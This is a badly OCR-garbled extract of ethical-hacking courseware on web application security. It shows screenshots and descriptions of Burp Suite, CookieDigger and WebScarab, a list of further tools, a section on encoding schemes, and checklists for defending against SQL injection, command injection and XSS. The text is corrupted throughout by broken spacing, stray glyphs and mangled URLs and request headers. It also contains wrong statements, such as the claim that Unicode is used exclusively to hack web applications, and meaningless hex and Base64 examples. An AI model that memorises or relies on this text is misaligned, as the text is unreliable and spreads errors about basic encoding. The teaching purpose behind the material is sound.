A cce p t-C h a rse t: IS O -O O S 9 -1 ,u tf-0 ;q -0 .7 ,• ;q -0 .3  
a M M U A K L  /•1am־*nnnrn[ 1 •m*

b u rp  su ite  free  e d it io n  v1.4.01

[ ourp mtruJet repeater *ניתי©* acoat
mfruder rspaal•( saque decoder ' compare* ' 0f*0ns Mart*

p«der ג

L ז 21
I  target posiaons pa>ioads op«ons 

attack type *nicer

2 payload posAon* lengti i

t h ’ i d - f 1 . 4 1500402 : 3> > צ0ל  i s  H> . - 5 1 .1 *  HTTP 7 7 7 ־
Moat: c a 4 .rv .b 1 n g .n e t 
P roxy-C onnec tion : k e e p -a liv e
U set-A gent: H o : i l la / 5 . 0  iV indovs 1JT f . 2 ; W OV i  4 ! 
A p p le fe b r it /S 3 7 .4 KHTHL, l י  ik e  Gecko!
C h ro w e /: : .0 .1 2 :9 .9 4  S a fa c i/S 3 7 .4  
A ccept: • / •
P e te te c :
h t t p :  v v v .b in g .c jS ‘ usages sea ted?qab ik e s ( id aCCCC7670
CSC1CD3A9DIEABE6(3SlKE8S7SD12£944KOPHa IQFPBA 
A ccept-E ncod ing : g z ip ,d e f la te ,s d e h

F I G U R E  1 3 . 5 8 :  B u r p  S u i t e  P r o f e s s i o n a l  T o o l  S c r e e n s h o t
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CEH
Web Application Hacking Tool: 
CookieDigger

j  CookieDigger helps id en tify  weak cookie genera tion  and insecure im p lem e n ta tions  o f session managem ent by web applications 

J  It w orks by collecting and analyzing cookies issued by a web app lica tion  fo r  m u ltip le  users

J  The to o l reports  on th e  p red ic tab ility  and e n tropy  o f th e  cookie and w h e th er critica l in fo rm a tion , such as user nam e and 
password, are included in th e  cookie values

Foundstone Cookie D igger

F o u n d s to n e  | C ook ieD igger

f_soace־״et «tnp v.3A"2.׳F 2 ffrai־..

' j d f n
(jw d p»e »*■**־ 

«  Back Mod >

h ttp ://w w w .m cafe e .com

tea URLs'/*
31 com/.ווק *i/Vim ן 

',accounts gootfe coro/Seracelogn Aih 
/|1*'m»l.google.conz_,'na»-1t*1c/_/)s./>Mr.lrj11f1*Ai1er»X04lWI$a»St.«n /rv

https y/tnal.google oorvmalAvO.Ai •28v1ew*«ptver^hrt4nw»*r4 
https ://msi google cwn/VnaHi/UAj «2hin»^aplw nchm > 6  t14 

tn•! gt>3gl» com/tnsl'U/OAj ■cttiU M 1 https /׳/4 1 • •https y/W»l.google corvm»l'u/Q/'Vw 
vaf»X0WKE»e4c an׳tat1c/_/i«/^Mn/»1 jt«4v׳*https .AVnsI google axn/_/'1nad 

1 ',u/O.'^J ■2>v»w<)«p/*יז«https //hi•! gosgl• con 
U/0. , J  •24vww<«plvar*chfiHrw&-tr*׳ https y/W»l.g00gl*.C«ffV,m»l 

4<hflps //Vnal google co«n/n>alA^0-'>j«28vTew^>spUw <1W*rwQ*ty 
https //h»«l google co!nATwlAj/t)Aj*ft1r tt1y«c 

HardAdnwvhtir ׳fts /Amk\jp dt 
httpy/maim.oom/ 

http //WWW r  convlognvtrfy y c

http y/m*l r.o0ffvr*wm»(Atand«tphp>»^d*U^••
about War*
http //hotmatl/
http y/ww*.f>otm»l com/

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p l i c a t i o n  H a c k i n g  T o o l :  C o o k i e D i g g e r

Source : h t tp : / /w w w .m c a fe e .c o m

C ook ieD igg e r is a to o l th a t  d e te c ts  v u ln e ra b le  co ok ie  g e n e ra tio n  and th e  insecure  

im p le m e n ta t io n  o f  session m a n a g e m e n t by w e b  a p p lic a tio n s . This to o l is based on th e  

c o lle c tio n  and e v a lu a tio n  o f cook ies  by a w e b  a p p lic a t io n  used by m any users.

C e rta in ty  and e n tro p y  o f th e  co ok ie  a re  fa c to rs  on w h ic h  th e  to o l re lies . The co ok ie  va lues  

c o n ta in  v a lu a b le  in fo rm a tio n  such as th e  log in  d e ta ils  o f  th e  user (use r nam e and passw ord ).
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F o u n d s t o n e  C o o k i e  D i g g e r

File Help

Foundstone | CookieDigger

POST Data ;
rttp %3A%2F%2fmai n .com״ f_sourceret 

./2Fnewm«l
%2Frt>oxphpJJgfrm*<nai!f jd*™matthews4 
f _pwd*sweetp!e

Visted URLs 
http//Www gmad com/ 

https ://accounts google .com/ServiceLoginAuh 
https J/mei google com/_/m«l-stabc/_/js/man/m_11/rt41/ver*X061W K£se4k en /*v*1/am«f 

24vtew»bsp4ver*ohN4rw8mbn4־ https J/mM google com/mai/u/OAj 
0W4fw 8mbn4־bsp 4ver־ https J/mai google com/mail/u/OAji -2&v1ew 

bsp4ver«ohH4rw&nbo4־ https J/mai google com/mad/u/OAji=24vtew 
 https//maJ googlecom/ma1l/u/Q/'>shva־1

https ://maJ google com/_/mad■stafcc/_/j3/man/m_i Jt/rt4\/ver»X06lWKEse4k en7$v»1/a<n»f 
httpsV/mai google com/mail/u/0Aj1*24v1ew«bsp4ver»ohN4rw&T1bn4 

bsp4ver*ohH4rw&T1bn424״v1ew״https://mai google com/ma!l/u/0Ajt 
google com/marf/u/0/'>u1-24v>ew-6sp4ver-ohH4rw&nbr14

c״https//ma< google com/mad/u/0Aj!4tml4zy 
res //!esetup dB/HardMmm Km

http //www m com/login venfy php User ID |jg

http //mail jn com/newmad/ftemdex php ,msgd *4type • 
about blank Password I* ®

Nod »«  Back

http //hotmaJ/
http //Www hotmad com/

F I G U R E  1 3 . 5 9 :  C o o k i e D i g g e r  T o o l  S c r e e n s h o t
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CEH
Web Application Hacking Tool: 
WebScarab

W e b S c a r a b  is  a  f r a m e w o r k  f o r  a n a l y z i n g  a p p l i c a t i o n s  t h a t  c o m m u n i c a t e  u s i n g  t h e  H T T P  a n d  H T T P S  p r o t o c o l s

I t  a l l o w s  t h e  a t t a c k e r  t o  r e v i e w  a n d  m o d i f y  r e q u e s t s  c r e a t e d  b y  t h e  b r o w s e r  b e f o r e  t h e y  a r e  s e n t  t o  t h e  s e r v e r ,  

a n d  t o  r e v i e w  a n d  m o d i f y  r e s p o n s e s  r e t u r n e d  f r o m  t h e  s e r v e r  b e f o r e  t h e y  a r e  r e c e i v e d  b y  t h e  b r o w s e r

C o m p a reS c r ip te d  F ra g m e n tsS p id e r  E x te n s io n s  S e s s io n ID  A n a ly s isM a n u a l R e q u e s t W e b S e r v ic e sP r o x y

F ile  V ie w  I o o ls  H e lp  

S u m m a ry  M e s s a g e  lo g

□  T re e  S e le c t io n  n i te r s  c o n v e r s a t io n  l is t

U rl M e th o d s S ta tu s | S e t-C o o k ie C o m m e n ts S c n p ts

?  (1 5  h ttp : //w w w .o w a s p .o ra :8 0 / G E T 301 M o v e d .. □ □ □
° ־  n  b a n n e rs / □ □ □
o - n  im a a e s / □ □ □
9  (1 3  in d e x  p h p / □ □ □

O  M a ln _ P a g e G E T 2 0 0  O K □ E
o- □  s k in s / □ □ □

2  S u m m a ry

O rig in

Proxy

Proxy

P roxy

Proxy

S ta tu s
2 D U O Kh ttp /M v w w  o w a s p  o rg  BU /s k in s /m o n o b o o k /m a in ־/׳•' 

P a th

/s k in s /c o m m o n / IE F ix e s

/s k in s /c o m m o n /c o m m o

H o s t

http:fA1v w w .o w a s p .o rg  80

h ttp : //w w w .o w a s p .o rg .8 0

h t tp : //w w w .o w a s p  o rg  80  / in d e x  p h p /M a m _ P a g e

h t tp : //w w w .o w a s p .o rg .8 0 l/

׳' UU b/U bOT U t  I

2 0 0 6 /0 6 /2 3  G E T

2 0 0 6 /0 6 /2 3 ... G E T

h ttp ://w w w .o w a sp .o rg

C o p y r ig h t  ©  b y  E C -G a u a c t l. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p l i c a t i o n  H a c k i n g  T o o l :  W e b S c a r a b

Source : h t tp : / /w w w .o w a s p .o rg

W ebS carab  is a fra m e w o rk  fo r  ana lyz ing  a p p lic a tio n s  th a t  c o m m u n ic a te  us ing  th e  HTTP and 

HTTPS p ro to c o ls . It is w r it te n  in Java, and is th u s  p o r ta b le  to  m an y  p la tfo rm s . W ebS carab  has 

severa l m odes o f  o p e ra tio n , im p le m e n te d  by a n u m b e r o f  p lu g in s . It o p e ra te s  as an 

in te rc e p tin g  p roxy , a llo w in g  th e  a tta c k e r to  re v ie w  and m o d ify  req ue s ts  c re a te d  by th e  b ro w s e r 

b e fo re  th e y  a re  se n t to  th e  se rve r, and to  re v ie w  and m o d ify  responses re tu rn e d  fro m  th e  

se rve r b e fo re  th e y  a re  rece ived  by th e  b ro w s e r. It is even  ab le  to  in te rc e p t b o th  HTTP and 

HTTPS c o m m u n ic a tio n . The o p e ra to r  can also re v ie w  th e  co n v e rs a tio n s  (re qu es ts  and 

responses) th a t  have passed th ro u g h  W e b S cara b .
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i  W e b S c a r a b X

F ile  V ie w I o o l s H e lp

S u m m a r y M e s s a g e  lo g P r o x y  M a n u a l R e q u e s t  W e b S e r v ic e s S p id e r E x te n s io n s S e s s io n ID  A n a ly s is  S c r ip te d  F r a g m e n ts  F u z z e r C o m p a r e  1 1

E l  S u m m a r y a  1
*

□  T r e e  S e le c t io n  f i l t e r s  c o n v e r s a t io n  l is t

U rl M e th o d s S ta tu s S e t-C o o k le C o m m e n ts S c r ip ts J
?  h t tp : / /w w w .o w a s p .o rg :8 0 /  

° 3 ] ־   b a n n e r s /  

o -  C 3  im a g e s /

?  In d e x p h p /

Q  M a in _ P a g e  

o -  s k in s /

G E T

G E T

301 M o v e d ... 

2 0 0  O K

□

□

□

□

□

□

□

□

□

□

• ׳

□

□

□

□

□

0
□

-------- ----- --------- —

I D - :  a te M e th o d H o s t P a th P a ra m e te rs S ta tu s O r ig in I
—

ד 2 U 0 B Z D E /2 X T U fc 1 h ttp  ://w w w . o w a s  p . 0 r g : 8 U /S K in s /m o n o D O O K fm a in 'N 2UU U K P roxy A
4 2 0 0 6 /0 6 /2 3 . . . G E T http  ://W w w .o w a s  p . 0 r g : 8 0 /s k in s /c o m m o n / IE F t te s . 2 0 0  O K P roxy ־ ־

3 2 0 0 6 /0 6 /2 3 . G E T http  ://w w w . o w a  s p . 0 r g : 8 0 /s k in s /c o m m o n /c o m m o 2 0 0  O K P roxy

2 2 0 0 6 /0 6 /2 3 G E T h ttp : / /W w w .o w a s p .o rg  80 / in d e x  p h p /M a in _ P a g e 2 0 0  O K P roxy

1 2 0 0 6 /0 6 /2 3 . . . G E T h ttp : / /W w w .o w a s p .o rg :8 0 / 301 M o v e d ... P roxy -

י III 1 ►

i . 2 7 / 6 3 .5 6

F I G U R E  1 3 . 6 0 :  W e b S c a r a b  T o o l  S c r e e n s h o t
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Web Application Hacking Tools I CEH

H t t p B e e

h t tp : / / w w w . oOo. n u

T e l e p o r t  P r o

^ ► ^ 4 ) h t tp : / / w w w . te n m a x . c o m

W e b C o p i e r

h t tp : / / w w w . m a x im u m s o f t . c o mי

H T T T R A C K

h t tp : / / w w w . h t t r a c k .  c o m

M i l e S C A N  P a r o s P r o

h t tp : / / w w w . m ile s  can . c o m

&

M
■ a — s ־

I n s t a n t  S o u r c e

h t t p : / / w w w . b la z in g to o ls .c o m

w 3 a f

h t tp : / / w 3 a f . s o u rc e fo rg e , n e t

G N U  W g e t

h ttp : / / g n u w in 3 2 . s o u r c e  fo rg e ,  n e t

B l a c k W i d o w

h t tp : / / s o f t b y t e la b s . co m

c U R L

h t t p : / / c u r  I. haxx . s ef£3
C o p y r ig h t  ©  b y  E C -G a u a c t l. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

/  \  W e b  A p p l i c a t i o n  H a c k i n g  T o o l s

A fe w  m o re  to o ls  th a t can be used fo r  hack ing  w e b  a p p lic a tio n s  are  lis ted  as fo llo w s : 

© In s ta n t Source a va ilab le  a t h t tp : / /w w w .b la z in g to o ls .c o m  

© w 3 a f a va ila b le  a t h ttp : / /w 3 a f.s o u rc e fo rg e .n e t 

© GNU W g e t a va ilab le  a t h t tp :/ /g n u w in 3 2 .s o u rc e fo rg e .n e t 

© B la ckW id o w  a va ilab le  a t h ttp : / /s o f tb y te la b s .c o m  

© cURL a va ilab le  a t h ttp :/ /c u r l.h a x x .s e  

© H ttp B e e  a va ilab le  a t h t tp : / /w w w .0Q0 .nu 

© T e le p o rt Pro a va ilab le  a t h t tp : / /w w w .te n m a x .c o m  

© W e b C o p ie r a va ilab le  a t h t tp : / /w w w .m a x im u m s o ft .c o m  

© H i l l  RACK a va ilab le  a t h t tp : / /w w w .h t t ra c k .c o m  

© M ileSCAN ParosPro a va ilab le  a t h t tp :/ /w w w .m ile s c a n .c o m
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Module Flow

W eb A p p  C oncep ts0י I,W eb A p p  Pen Testing

W eb A p p  T h re a ts&q  y
S e cu rity  Tools

C ou n te rm e a su re s

W eb  A p p lic a tio n  H ack ing  Tools

C o p y r ig h t  ©  by EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

־ ־ ^  M o d u l e  F l o w

So fa r, w e  have d iscussed va rio u s  co n ce p ts  such as th re a ts  assoc ia ted  w ith  w e b  

a p p lic a tio n s , hack ing  m e th o d o lo g y , and hack ing  to o ls . A ll th ese  to p ic s  ta lk  a b o u t h o w  th e  

a tta c k e r  b reaks in to  a w e b  a p p lic a tio n  o r  a w e b s ite . N o w  w e  w ill d iscuss w e b  a p p lic a tio n  

c o u n te rm e a s u re s . C o u n te rm e a su re s  a re  th e  p ra c tice  o f  us ing  m u lt ip le  s e c u r ity  system s o r 

te c h n o lo g ie s  to  p re v e n t in tru s io n s . These are  th e  key c o m p o n e n ts  fo r  p ro te c t in g  and 

s a fe g u a rd in g  th e  w e b  a p p lic a tio n  aga ins t w e b  a p p lic a tio n  a ttacks .

V W e b  A p p  Pen T e s tin g /jj&Mk W e b  A p p  C on cep ts

^  S e c u r ity  T oo ls

•.r"

W e b  A p p  T h re a ts

C o u n te rm e a s u re s

m
e5=־ H ack in g  M e th o d o lo g y

(j ' י

W e b  A p p lic a t io n  H ack ing  T oo ls
v f 1
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This se c tio n  h ig h lig h ts  va rio u s  w ays in w h ic h  you  can d e fe n d  aga ins t w e b  a p p lic a tio n  a tta cks  

such as SQL in je c tio n  a tta cks , co m m a n d  in je c tio n  a ttacks , XSS a ttacks , e tc.
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CEHEncoding Schemes
W e b  a p p l i c a t i o n s  e m p l o y  d i f f e r e n t  e n c o d i n g  s c h e m e s  f o r  t h e i r  

d a t a  t o  safely handle unusual characters and binary data i n  t h e  

w a y  y o u  i n t e n d

URL e n c o d in g  is th e  process o f  c o n v e rt in g  URL in to  v a lid  ASCII 
fo rm a t  so th a t  d a ta  can be sa fe ly  t ra n s p o r te d  o v e r HTTP 

URL e n c o d in g  rep laces u n u su a l ASCII cha rac te rs  w ith  "% " 
fo llo w e d  b y  th e  c h a ra c te r 's  tw o -d ig it  ASCII co d e  expressed in 

h e xa d e c im a l such as:

% ט 3 d ־   

a  % 0 a  N e w  l in e  

«  %20 s p a c e

A n HTM L e n c o d in g  schem e is used to  re p re se n t u n u su a l 
ch a ra c te rs  so th a t  th e y  can be sa fe ly  c o m b in e d  w ith in  an 
HTM L d o c u m e n t

It d e fin e s  severa l HTM L e n tit ie s  to  re p re se n t p a rt ic u la r ly  
usua l c h a ra c te rs  such as:

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

E n c o d i n g  S c h e m e s

— —־  HTTP p ro to c o l and  th e  H TM L language  are  th e  tw o  m a jo r  c o m p o n e n ts  o f  w e b  

a p p lic a tio n s . B o th  th ese  c o m p o n e n ts  a re  te x t  based. W e b  a p p lic a tio n s  e m p lo y  e n co d in g  

schem es to  e nsu re  b o th  th ese  c o m p o n e n t h an d le  unusua l ch a rac te rs  and b in a ry  d a ta  sa fe ly . 

The e n co d in g  schem es inc lu de :

m  U R L  E n c o d i n g

URLs are p e rm itte d  to  co n ta in  o n ly  th e  p r in ta b le  cha rac te rs  o f  ASCCI code  w ith in  th e  

range  0 x20 -0 x7e  inc lus ive . Severa l ch a rac te rs  w ith in  th is  range  have specia l m ea n in g  

w h e n  th e y  a re  m e n tio n e d  in th e  URL schem e o r HTTP p ro to c o l. H ence, such ch a ra c te rs  are 

re s tr ic te d .

URL e n co d in g  is th e  p rocess o f  c o n v e rtin g  URLS in to  va lid  ASCII fo rm a t so th a t  da ta  can be 

sa fe ly  tra n s p o r te d  o v e r HTTP. URL e n co d in g  rep laces unusua l ASCII ch a rac te rs  w ith  "% " 

fo llo w e d  by th e  c h a ra c te r 's  tw o -d ig it  ASCII code  expressed  in h e x a d e c im a l such as:

Q %3d

Q %0a New l i n e

9  %20 sp ace
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>  H T M L  E n c o d i n g

*** The HTM L e n co d in g  schem e is used to  re p re s e n t unusua l ch a ra c te rs  so th a t th e y  can be 

sa fe ly  e n te re d  w ith in  an H TM L d o c u m e n t as p a rt o f  its  c o n te n t. The s tru c tu re  o f  th e  d o c u m e n t 

is d e fin e d  by va rio u s  ch a rac te rs . If you  w a n t to  use th e  sam e ch a rac te rs  as p a r t o f  th e  

d o c u m e n t's  c o n te n t, you  m ay face  p ro b le m . This p ro b le m  can be o v e rc o m e  by using  HTM L 

e nco d ing . It d e fin e s  severa l H T M L e n tit ie s  to  re p re s e n t p a r t ic u la r ly  usual ch a rac te rs  such as:

Q & a m p ; &

e  & it ;  <

e  & g t; >
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CEHE n c o d in g  S c h e m e s
( C o n t 1(!)

Hex Encoding

HTML encoding schem e uses 
hex value o f every  character 
to  rep resen t a co llec tion  o f 
characters fo r  tra n sm itt in g  
b inary data

B ase64  Encoding

Base64 encoding scheme 
represents any b inary data 
using on ly  p rin tab le  ASCII 
characters

tt Example:

H ello  A125C458D8

Jason 123B684AD9

Copyright ©  by EC-Cauactl. All Rights Reserved. Reproduction is S trictly Prohibited.

E n c o d i n g  S c h e m e s  ( C o n t ’ d )

Hex Encoding

An HTML enco d ing  schem e uses hex va lue 

o f  every  cha rac te r to  re p re se n t a 
co lle c tio n  o f  characte rs fo r  tra n s m itt in g  

b ina ry  data.

Exam ple:

H e l l o  A 125C 458D 8 

J a s o n  123B 684A D 9

Base 64 Encoding

Base 64 schem es a re  used to  encode 
b ina ry  da ta . A Base 64 enco d in g  schem e 

rep resen ts  any b in a ry  da ta  using o n ly  

p r in ta b le  ASCII characters. Usually it  is 

used fo r  enco d ing  e m a il a tta ch m e n ts  fo r  

safe tran sm iss ion  o ve r SMTP and also 
used fo r  enco d ing  user c reden tia ls .

Example:

c a k e
0110001101100001011010110110
0101

B a s e 6 4  E n c o d in g :  0 11 0 0 0
110110 000101 101011 011001 
010000 000000 000000

Unicode Encoding

Unicode is a character encoding 
standard that is designed to support 
all of the writing systems used in the 
world. Unicode is exclusively used to 
hack web applications. Unicode 
encoding helps attackers to bypass 
the filters.

16-bit Unicode encoding:

It replaces unusual Unicode 
characters with "%u" followed by the 
character's Unicode code point 
expressed in hexadecimal:

% u2215 /

% u00e9

U T F - 8

It is a variable-length encoding 
standard that uses each byte 
expressed in hexadecimal and 
preceded by the % prefix:

%c2%a9

%«2%89%a0

TABLE 1 3 .2 : E n c o d in g  S c h e m e s  T a b le
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CEH
How to Defend Against SQL 
Injection Attacks

L im it th e  le n g th  o f  user in pu t

Use cus tom  e rro r  messages

M o n ito r  DB tra f f ic  using an IDS, WAF

Disable com m ands like  x p _ cm d sh e ll

Iso la te  da tabase  se rver and w e b  server

A lw ays use m e th o d  a ttr ib u te  set to  POST

Run da tabase service a cco u n t w ith  m in im a l r igh ts

M o ve  extended  s to re d  p ro ce d u re s  to  an iso la ted  server

Use typesafe variables o r functions such as IsNum eric() to  ensure typesa fe ty

V a lid a te  and san itize  user inpu ts passed to  th e  database

Use lo w  priv ileged  a cco u n t fo r  DB c o n n e c tio n

JT
1

Microsoft

S Q L
S e r v e r

Copyright ©  by EC-Cauactl. A ll Rights Reserved. Reproduction is S trictly Prohibited.

H o w  t o  D e f e n d  A g a i n s t  S Q L  I n j e c t i o n  A t t a c k s

T o  d e f e n d  a g a i n s t  SQL i n j e c t i o n  a t t a c k s ,  v a r i o u s  t h i n g s  h a v e  t o  b e  t a k e n  c a r e  o f  l i ke  

u n c h e c k e d  u s e r - i n p u t  t o  d a t a b a s e - q u e r i e s  s h o u l d  n o t  b e  a l l o w e d  t o  p a s s .  E v e r y  u s e r  v a r i a b l e  

p a s s e d  t o  t h e  d a t a b a s e  s h o u l d  b e  v a l i d a t e d  a n d  s a n i t i z e d .  T h e  g i v e n  i n p u t  s h o u l d  b e  c h e c k e d  

f o r  a n y  e x p e c t e d  d a t a  t y p e .  U s e r  i n p u t ,  w h i c h  is p a s s e d  t o  t h e  d a t a b a s e ,  s h o u l d  b e  q u o t e d .

e L imi t  t h e  l e n g t h  o f  u s e r  i n p u t

e U s e  c u s t o m  e r r o r  m e s s a g e s

e M o n i t o r  DB t r a f f i c  u s i n g  a n  IDS, W A P

e D i s a b l e  c o m m a n d s  l i ke  x p _ c m d s h e l l

e I s o l a t e  d a t a b a s e  s e r v e r  a n d  w e b  s e r v e r

e A l w a y s  u s e  m e t h o d  a t t r i b u t e  s e t  t o  P O S T

e R u n  d a t a b a s e  s e r v i c e  a c c o u n t  w i t h  m i n i m a l  r i g h t s

0 M o v e  e x t e n d e d  s t o r e d  p r o c e d u r e s  t o  a n  i s o l a t e d  s e r v e r

0 U s e  t y p e s a f e  v a r i a b l e s  o r  f u n c t i o n s  s u c h  a s  I s N u m e r i c ( )  t o  e n s u r e  t y p e s a f e t y

© V a l i d a t e  a n d  s a n i t i z e  u s e r  i n p u t s  p a s s e d  t o  t h e  d a t a b a s e
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Q U s e  l o w  p r i v i l e g e d  a c c o u n t  f o r  DB c o n n e c t i o n
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-  How to Defend Against Command - ״
Injection Flaws JL ־!  E

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

0 / H o w  t o  D e f e n d  A g a i n s t  C o m m a n d  I n j e c t i o n  F l a w s

׳ ^ '  T h e  s i m p l e s t  w a y  t o  p r o t e c t  a g a i n s t  c o m m a n d  i n j e c t i o n  f l a w s  is t o  a v o i d  t h e m  

w h e r e v e r  p o s s i b l e .  S o m e  l a n g u a g e  s p e c i f i c  l i b r a r i e s  p e r f o r m  i d e n t i c a l  f u n c t i o n s  f o r  m a n y  s h e l l  

c o m m a n d s  a n d  s o m e  s y s t e m  ca l l s .  T h e s e  l i b r a r i e s  d o  n o t  c o n t a i n  t h e  o p e r a t i n g  s y s t e m  s h e l l  

i n t e r p r e t e r ,  a n d  s o  i g n o r e  m a x i m u m  s h e l l  c o m m a n d  p r o b l e m s .  F o r  t h o s e  ca l l s  t h a t  m u s t  st i l l  b e  

u s e d ,  s u c h  a s  c a l l s  t o  b a c k e n d  d a t a b a s e s ,  o n e  m u s t  c a r e f u l l y  v a l i d a t e  t h e  d a t a  t o  e n s u r e  t h a t  it 

d o e s  n o t  c o n t a i n  m a l i c i o u s  c o n t e n t .  O n e  c a n  a l s o  a r r a n g e  v a r i o u s  r e q u e s t s  in a  p a t t e r n ,  w h i c h  

e n s u r e s  t h a t  all  g i v e n  p a r a m e t e r s  a r e  t r e a t e d  a s  d a t a  i n s t e a d  o f  p o t e n t i a l l y  e x e c u t a b l e  c o n t e n t .

M o s t  s y s t e m  ca l l s  a n d  t h e  u s e  o f  s t o r e d  p r o c e d u r e s  w i t h  p a r a m e t e r s  t h a t  a c c e p t  v a l i d  i n p u t  

s t r i n g s  t o  a c c e s s  a  d a t a b a s e  o r  p r e p a r e d  s t a t e m e n t s  p r o v i d e  s i g n i f i c a n t  p r o t e c t i o n ,  e n s u r i n g  

t h a t  t h e  s u p p l i e d  i n p u t  is t r e a t e d  a s  d a t a ,  w h i c h  r e d u c e s ,  b u t  d o e s  n o t  c o m p l e t e l y  e l i m i n a t e  t h e  

r i sk  i n v o l v e d  in t h e s e  e x t e r n a l  c a l l s .  O n e  c a n  a l w a y s  a u t h o r i z e  t h e  i n p u t  t o  e n s u r e  t h e  

p r o t e c t i o n  o f  t h e  a p p l i c a t i o n  in q u e s t i o n .  L e a s t  p r i v i l e g e d  a c c o u n t s  m u s t  b e  u s e d  t o  a c c e s s  a 

d a t a b a s e  s o  t h a t  t h e r e  is t h e  s m a l l e s t  p o s s i b l e  l o o p h o l e .

T h e  o t h e r  s t r o n g  p r o t e c t i o n  a g a i n s t  c o m m a n d  i n j e c t i o n  is t o  r u n  w e b  a p p l i c a t i o n s  w i t h  t h e  

p r i v i l e g e s  r e q u i r e d  t o  c a r r y  o u t  t h e i r  f u n c t i o n s .  T h e r e f o r e ,  o n e  s h o u l d  a v o i d  r u n n i n g  t h e  w e b  

s e r v e r  a s  a  r o o t ,  o r  a c c e s s i n g  a  d a t a b a s e  a s  a  D B A D M I N ,  o r  e l s e  a n  a t t a c k e r  m a y  b e  a b l e  t o  

m i s u s e  a d m i n i s t r a t i v e  r i g h t s .  T h e  u s e  o f  J a v a  s a n d b o x  in t h e  J2EE  e n v i r o n m e n t  s t o p s  t h e  

e x e c u t i o n  o f  t h e  s y s t e m  c o m m a n d s .
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T h e  u s e  o f  a n  e x t e r n a l  c o m m a n d  t h o r o u g h l y  c h e c k s  u s e r  i n f o r m a t i o n  t h a t  is i n s e r t e d  i n t o  t h e  

c o m m a n d .  C r e a t e  a  m e c h a n i s m  f o r  h a n d l i n g  all  p o s s i b l e  e r r o r s ,  t i m e o u t s ,  o r  b l o c k a g e s  d u r i n g  

t h e  ca l l s .  T o  e n s u r e  t h e  e x p e c t e d  w o r k  is a c t u a l l y  p e r f o r m e d ,  c h e c k  all  t h e  o u t p u t ,  r e t u r n ,  a n d  

e r r o r  c o d e s  f r o m  t h e  ca l l .  A t  l e a s t  t h i s  a l l o w s  t h e  u s e r  t o  d e t e r m i n e  if s o m e t h i n g  h a s  g o n e  

w r o n g .  O t h e r w i s e ,  a n  a t t a c k  m a y  o c c u r  a n d  n e v e r  b e  d e t e c t e d .

© P e r f o r m  i n p u t  v a l i d a t i o n

© U s e  l a n g u a g e - s p e c i f i c  l i b r a r i e s  t h a t  a v o i d  p r o b l e m s  d u e  t o  s h e l l  c o m m a n d s  

© U s e  a  s a f e  API t h a t  a v o i d s  t h e  u s e  o f  t h e  i n t e r p r e t e r  e n t i r e l y  

© U s e  p a r a m e t e r i z e d  SQL q u e r i e s  

© E s c a p e  d a n g e r o u s  c h a r a c t e r s  

© P e r f o r m  i n p u t  a n d  o u t p u t  e n c o d i n g

© S t r u c t u r e  r e q u e s t s  s o  t h a t  all  s u p p l i e d  p a r a m e t e r s  a r e  t r e a t e d  a s  d a t a ,  r a t h e r  t h a n  

p o t e n t i a l l y  e x e c u t a b l e  c o n t e n t

© U s e  m o d u l a r  s h e l l  d i s a s s o c i a t i o n  f r o m  k e r n e l
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C E H
How to Defend Against XSS 
Attacks

V a lid a te  a l l h e a d e rs , U se te s t in g  to o ls

c o o k ie s , q u e ry  s tr in g s , E ncode  In p u t e x te n s iv e ly  d u r in g  th e  D o n o t  a lw a y s

fo rm  f ie ld s ,  a n d  h id d e n a n d  o u tp u t  and d e s ig n  p ha se  to t r u s t  w e b s ite s

f ie ld s  ( i.e .,  a ll p a ra m e te rs )  f i l t e r  M e ta e l im in a te  su ch  XSS t h a t  use  HTTPS

a g a in s t a r ig o ro u s c h a ra c te rs  in  th e h o le s  in  th e  a p p lic a t io n  w h e n  i t  co m e s  to

s p e c if ic a t io n in p u t b e fo re  i t  go e s  in to  use  XSS

1 3 x  5  _ 7

%
▼

2 4 6 8

Use a w e b

\ /

F i lte r in g  s c r ip t  o u tp u t

/

C o n v e rt a ll n o n -

\ y
D e ve lop  som e  s ta n d a rd  o r

a p p lic a t io n  f ir e w a l l can a ls o  d e fe a t  XSS a lp h a n u m e ric  ch a rac te rs s ig n ing  scrip ts  w ith  p r iv a te

t o  b lo c k  th e v u ln e r a b il i t ie s  by to  HTM L ch a ra c te r and  p u b lic  keys th a t

e x e c u t io n  o f p r e v e n t in g  th e m  f ro m e n tit ie s  b e fo re  d isp la y in g a c tu a lly  ch e ck  to  ascerta in

m a lic io u s  s c r ip t b e in g  t r a n s m it te d  to th e  user in p u t  in  search th a t  th e  sc r ip t in tro d u c e d
en g in e s  and  fo ru m s is rea lly  a u th e n t ic a te d

u se rs

Copyright © by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

H o w  t o  D e f e n d  A g a i n s t  X S S  A t t a c k s

|  T h e  f o l l o w i n g  a r e  t h e  d e f e n s i v e  t e c h n i q u e s  t o  p r e v e n t  XSS a t t a c k s :

C h e c k  a n d  v a l i d a t e  all  t h e  f o r m  f i e l d s ,  h i d d e n  f i e l d s ,  h e a d e r s ,  c o o k i e s ,  q u e r y  s t r i n g s ,  a n d  

all  t h e  p a r a m e t e r s  a g a i n s t  a  r i g o r o u s  s p e c i f i c a t i o n .

Q

© I m p l e m e n t  a  s t r i n g e n t  s e c u r i t y  p o l i c y .

© W e b  s e r v e r s ,  a p p l i c a t i o n  s e r v e r s ,  a n d  w e b  a p p l i c a t i o n  e n v i r o n m e n t s  a r e  v u l n e r a b l e  t o  

c r o s s - s i t e  s c r i p t i n g .  It is h a r d  t o  i d e n t i f y  a n d  r e m o v e  XSS f l a w s  f r o m  w e b  a p p l i c a t i o n s .  

T h e  b e s t  w a y  t o  f i n d  f l a w s  is t o  p e r f o r m  a  s e c u r i t y  r e v i e w  o f  t h e  c o d e ,  a n d  s e a r c h  in all 

